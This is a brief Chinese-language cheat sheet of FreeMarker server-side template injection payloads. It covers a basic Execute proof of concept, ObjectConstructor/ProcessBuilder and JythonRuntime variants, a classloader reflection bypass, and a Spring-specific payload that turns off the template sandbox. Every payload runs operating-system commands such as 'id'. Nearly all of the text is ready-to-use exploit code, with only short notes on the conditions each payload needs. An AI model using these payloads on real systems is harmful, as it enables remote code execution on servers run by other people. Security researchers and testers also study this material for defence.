最简单的 poc <#assign test="freemarker.template.utility.Execute"?new()> ${test("kcalc")} poc1: <#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","kcalc").start()} poc2: <#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("kcalc") 绕过 class.getClassloader 反射加载 Execute 类 <#assign classloader=<<object>>.class.protectionDomain.classLoader> <#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")> <#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)> <#assign ec=classloader.loadClass("freemarker.template.utility.Execute")> ${dwf.newInstance(ec,null)("id")} 如果 Spring Beans 可用,可以直接禁用沙箱,这个 payload 需要应用使用 freemarker+spring 并设置 setExposeSpringMacroHelpers(true) 或者 application.propertices 中设置 spring.freemarker.expose-spring-macro-helpers=true <#assign ac=springMacroRequestContext.webApplicationContext> <#assign fc=ac.getBean('freeMarkerConfiguration')> <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()> <#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()("id")}